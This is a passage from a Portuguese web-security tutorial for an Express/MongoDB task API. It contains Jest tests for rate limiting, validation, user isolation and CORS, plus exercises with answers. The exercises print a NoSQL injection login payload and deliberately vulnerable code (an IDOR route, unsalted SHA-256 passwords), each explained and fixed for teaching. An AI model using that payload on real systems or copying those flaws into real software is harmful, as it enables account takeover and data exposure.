    // draft-7 manda UM cabeçalho: `RateLimit: limit=100, remaining=99, reset=900`.
    // Quem espera `RateLimit-Limit` está pensando no draft-6.
    expect(resposta.headers["ratelimit"]).toMatch(/limit=100/);
    expect(resposta.headers["ratelimit-limit"]).toBeUndefined();
    expect(resposta.headers["x-ratelimit-limit"]).toBeUndefined();  // legacy off
  });

  it("o /health fica FORA do limiter, de propósito", async () => {
    const resposta = await request(criarApp()).get("/health");
    // O monitoramento bate aqui a cada 5 minutos; a última coisa que se quer
    // é o healthcheck sendo throttled e acusando queda que não houve.
    expect(resposta.headers["ratelimit"]).toBeUndefined();
    expect(resposta.status).toBe(200);
  });
});

describe("3 — validação com Zod", () => {
  it("recusa tarefa sem título com 422 e diz qual campo", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ descricao: "sem titulo" });

    expect(resposta.status).toBe(422);
    expect(resposta.body.detalhes).toEqual(
      expect.arrayContaining([expect.objectContaining({ campo: "titulo" })])
    );
  });

  it("recusa status fora do enum", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "x", status: "inventado" });

    expect(resposta.status).toBe(422);
  });

  it("aplica trim e os defaults do schema", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "   Com espaços   " });

    expect(resposta.status).toBe(201);
    expect(resposta.body.titulo).toBe("Com espaços");
    expect(resposta.body.status).toBe("pendente");
    expect(resposta.body.prioridade).toBe("media");
  });

  it("ignora campo não declarado no schema", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "ok", usuario: "6512f0000000000000000000", admin: true });

    expect(resposta.status).toBe(201);
    // mass assignment barrado: o dono é o do token, não o do corpo
    const gravada = await Tarefa.findById(resposta.body._id);
    expect(gravada.usuario.toString()).not.toBe("6512f0000000000000000000");
  });
});

describe("4 — isolamento por usuário", () => {
  it("tarefa de outro usuário responde 404, nunca 403", async () => {
    const ana = await usuarioComToken({ email: "ana@teste.com" });
    const bruno = await usuarioComToken({ email: "bruno@teste.com" });
    const doBruno = await Tarefa.create({ titulo: "Segredo", usuario: bruno.usuario._id });

    const resposta = await request(criarApp())
      .get(`/tarefas/${doBruno._id}`)
      .set("Authorization", ana.auth);

    expect(resposta.status).toBe(404);
    expect(resposta.status).not.toBe(403);
  });

  it("a listagem nunca vaza tarefa alheia", async () => {
    const ana = await usuarioComToken({ email: "ana@teste.com" });
    const bruno = await usuarioComToken({ email: "bruno@teste.com" });
    await Tarefa.create({ titulo: "Da Ana", usuario: ana.usuario._id });
    await Tarefa.create({ titulo: "Do Bruno", usuario: bruno.usuario._id });

    const resposta = await request(criarApp()).get("/tarefas").set("Authorization", ana.auth);
    expect(resposta.body.dados.map((t) => t.titulo)).toEqual(["Da Ana"]);
  });
});

describe("5 — CORS", () => {
  it("libera a origem configurada", async () => {
    const resposta = await request(criarApp())
      .get("/health")
      .set("Origin", "http://localhost:5173");

    expect(resposta.headers["access-control-allow-origin"]).toBe("http://localhost:5173");
  });

  it("não devolve o cabeçalho para origem estranha", async () => {
    const resposta = await request(criarApp())
      .get("/health")
      .set("Origin", "https://site-malicioso.com");

    expect(resposta.headers["access-control-allow-origin"]).toBeUndefined();
  });

  it("requisição sem Origin (curl) passa", async () => {
    const resposta = await request(criarApp()).get("/health");
    expect(resposta.status).toBe(200);
  });
});

describe("corpo grande", () => {
  it("recusa payload acima do limite", async () => {
    const { auth } = await usuarioComToken();
    const resposta = await request(criarApp())
      .post("/tarefas")
      .set("Authorization", auth)
      .send({ titulo: "x", descricao: "a".repeat(200_000) });

    expect(resposta.status).toBe(413);
  });
});

// 4 — CONFERINDO O ISOLAMENTO NA MÃO
//
//   # token da Ana pedindo a tarefa do Bruno
//   curl -s -o /dev/null -w "%{http_code}\n" \
//     -H "Authorization: Bearer $TOKEN_ANA" \
//     https://sua-api.railway.app/tarefas/$ID_DA_TAREFA_DO_BRUNO
//   404
//
// 6 — AUDITORIA DE DEPENDÊNCIAS
//
//   npm audit --audit-level=high
//   npm audit fix              # só o que é compatível
//   npm audit fix --force      # QUEBRA versões maiores; leia o diff antes
//
// No pipeline, `npm audit --audit-level=high` como step: falha o build quando
// aparece vulnerabilidade alta, em vez de esperar alguém rodar à mão.
//
// 7 — O .env NO GIT
//
//   git ls-files | grep -E "^\.env|/\.env"     # tem de sair vazio
//
// Se aparecer, o estrago já está feito: remover agora não apaga do histórico.
//
//   git rm --cached .env
//   echo ".env" >> .gitignore
//
// E então **rotacione tudo** que estava lá — JWT_SECRET, senha do banco, chaves
// de API. O commit continua no histórico, em cada clone e em cada fork.

// ---- saída real
// Test Suites: 1 passed, 1 total
// Tests:       15 passed, 15 total

Duas escolhas do enunciado que parecem detalhe e não são. 404, e nunca 403, para recurso de outro usuário: o 403 confirma que aquele id existe, e essa confirmação já é vazamento — dá para enumerar a base inteira com ela. E validar substituindo req.body pelo objeto que o Zod devolveu: é o que aplica trim, lowercase e defaults, e é o que barra mass assignment — mandar usuario ou admin no corpo deixa de ter efeito porque o campo simplesmente não existe no schema. Validar e continuar usando o corpo original é validar por enfeite.

Segurança não é uma lista de itens a instalar, é a suposição de que toda entrada é hostil até prova em contrário — e a prova acontece no servidor, porque o cliente inteiro está sob controle de quem ataca. As camadas vistas aqui repetem essa ideia em pontos diferentes: validar o formato, escapar na saída, limitar tentativas, restringir origem e conferir se este usuário pode mesmo ver este registro, que é a falha mais comum e a menos comentada de todas.

Fontes e leituras recomendadas

Exercícios

Exercício 1

O login compara email e senha direto no banco. Sem saber nenhuma senha, o atacante envia este corpo e entra. Como?

POST /login
Content-Type: application/json

{ "email": { "$gt": "" }, "senha": { "$gt": "" } }
Ver resposta

✓ Resposta: Porque express.json() aceita qualquer estrutura JSON, inclusive objetos aninhados, e o código repassa esse objeto direto ao findOne. O MongoDB então não recebe os valores email e senha: recebe os operadores $gt, e a consulta passa a significar "qualquer documento cujo email seja maior que string vazia" — o que é verdade para todos. O findOne devolve o primeiro usuário do banco, a condição if (usuario) passa, e o atacante recebe um token válido, normalmente do usuário mais antigo — que costuma ser justamente o administrador. É a NoSQL injection, e ela não precisa de caractere especial nem de string malformada: precisa apenas que um objeto chegue onde se esperava texto. A defesa tem duas camadas. A imediata é verificar o tipo antes de usar: typeof email !== 'string' derruba o ataque inteiro, porque todo operador do MongoDB é objeto. A estrutural é validar o corpo com um esquema — Zod ou equivalente — na entrada de toda rota, o que resolve essa e várias outras classes de problema de uma vez. E vale reter o princípio: o formato do dado é tão importante quanto o conteúdo, e quase toda injeção começa com um valor que chegou num tipo inesperado.

Exercício 2

O token do usuário é guardado no localStorage e enviado no cabeçalho Authorization. O artigo diz que isso é imune a CSRF. Está correto — mas o que essa escolha custa?

// no login
localStorage.setItem('token', resposta.token);

// em toda requisição
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
Ver resposta

✓ Resposta: Custa exposição a XSS. A imunidade a CSRF é real e vem de um fato simples: o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization — então um site malicioso não consegue agir em nome do usuário. O preço é que, para enviar esse cabeçalho, o JavaScript precisa ler o token; e tudo que o seu JavaScript lê, o JavaScript injetado também lê. Um único XSS — num comentário, numa dependência comprometida, num script de terceiros — roda localStorage.getItem('token') e leva a sessão inteira para outro servidor, sem deixar rastro e sem depender de o usuário fazer nada. Um cookie httpOnly, ao contrário, é invisível ao JavaScript: nem o código legítimo nem o injetado o alcançam, e o navegador o anexa sozinho. Em troca, volta a exigir defesa contra CSRF, com SameSite e token de verificação. A conclusão não é que uma opção vença a outra, e sim que não existe escolha gratuita: localStorage troca CSRF por XSS. O que as duas abordagens compartilham é a mitigação que mais vale: token de vida curta, de minutos, com renovação — porque limita o estrago quando o roubo acontece, e ele acontece.

Exercício 3

Este endpoint deixa qualquer usuário autenticado ler o pedido de qualquer outro. O middleware de autenticação está funcionando. Onde está a falha?

router.get('/pedidos/:id', autenticar, async (req, res) => {
  const pedido = await Pedido.findById(req.params.id);

  if (!pedido) return res.status(404).json({ erro: 'Pedido não encontrado.' });

  res.json(pedido);
});
Ver resposta

✓ Resposta: A rota confere autenticação e esquece a autorização. O middleware responde "quem é você?" e faz isso direito; ninguém responde "você pode ver este registro?". Qualquer pessoa com uma conta legítima troca o id na URL e lê o pedido alheio — com endereço, valor e itens. A falha tem nome, IDOR (referência direta e insegura a objeto), e lidera as listas da OWASP sob o rótulo de controle de acesso quebrado, por dois motivos: é trivial de explorar, bastando incrementar um número, e é invisível nos testes, porque cada desenvolvedor testa com a própria conta e vê apenas os próprios dados. A correção é incluir o dono na consulta, e não conferir depois: Pedido.findOne({ _id: req.params.id, usuario: req.usuario._id }). Assim o registro de outro usuário simplesmente não é encontrado, e a resposta é 404 — o que também é melhor do que 403, porque não confirma ao atacante que aquele id existe. Duas observações práticas: usar ObjectId em vez de id sequencial dificulta a enumeração, mas não é controle de acesso, é apenas obscuridade; e a verificação precisa valer para todos os verbos, já que é comum proteger o GET e esquecer o PUT e o DELETE, onde o estrago é maior.

Exercício 4

O CSP foi configurado e a página carrega, mas todas as fontes aparecem com a tipografia padrão do navegador. O console mostra bloqueios. O que está errado?

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    fontSrc: ["'self'", 'https://fonts.googleapis.com'],
  },
})
Ver resposta

✓ Resposta: Os dois domínios do Google Fonts estão trocados de lugar. O fonts.googleapis.com serve apenas a folha de estilo, aquele CSS com as regras @font-face; os arquivos de fonte propriamente ditos vêm de fonts.gstatic.com. Com a configuração acima, o CSS nem chega — porque styleSrc não lista o googleapis — e, se chegasse, as fontes seriam bloqueadas por não estarem em fontSrc. O correto é styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'] e fontSrc: ["'self'", 'https://fonts.gstatic.com']. É o engano mais comum ao ativar CSP, e o sintoma engana porque a página continua funcionando — só fica com a aparência errada. Duas observações sobre CSP que economizam tempo. A primeira é que diretiva ausente herda o defaultSrc, então esquecer connectSrc num app que chama uma API em outro domínio quebra todas as requisições. A segunda é o modo de implantação: começar com Content-Security-Policy-Report-Only, que apenas relata as violações sem bloquear nada, permite ajustar a política observando o tráfego real antes de ligá-la de verdade — ligar direto num app existente costuma derrubar meia aplicação.

Exercício 5

A senha é guardada com hash. Mesmo assim, um vazamento do banco compromete as contas rapidamente. Por quê?

const crypto = require('crypto');

function guardarSenha(senha) {
  return crypto.createHash('sha256').update(senha).digest('hex');
}
Ver resposta

✓ Resposta: Porque SHA-256 é um algoritmo de resumo, projetado para ser rápido — e velocidade é exatamente o oposto do que se quer aqui. Uma placa de vídeo comum calcula bilhões de hashes SHA-256 por segundo, então testar uma lista de senhas vazadas contra o banco inteiro é questão de minutos. Falta também o sal: sem ele, senhas iguais produzem hashes iguais, o que permite ver quais contas compartilham a mesma senha e usar tabelas pré-computadas, as rainbow tables. O algoritmo certo é feito para ser lento e ajustável — bcrypt, scrypt ou Argon2 —, e o bcrypt embute o sal aleatório no próprio hash, além de um fator de custo que se aumenta conforme o hardware evolui. O fator 12 do artigo significa 2¹² iterações, algo em torno de 200 a 300 milissegundos por verificação: irrelevante para um login legítimo, proibitivo para quem quer testar milhões de tentativas. Três complementos valem: o bcrypt.compare deve ser usado em vez de comparar hashes com ===, porque ele faz a comparação em tempo constante; o bcrypt ignora o que passar de 72 bytes, o que importa para quem aceita frases longas como senha; e nada disso substitui a defesa que mais reduz dano na prática, que é limitar tentativas de login por conta e por IP.

Comentários

Mais em Javascript

Tratamento de erros em requisições HTTP
Tratamento de erros em requisições HTTP

Código que só funciona quando tudo dá certo não está pronto para produção…

Callbacks: o começo de tudo
Callbacks: o começo de tudo

Antes das Promises, esperar era passar uma função para ser chamada depois. O…

Trabalhando com arquivos CSV
Trabalhando com arquivos CSV

CSV parece o formato mais simples que existe até o primeiro campo com vírgula…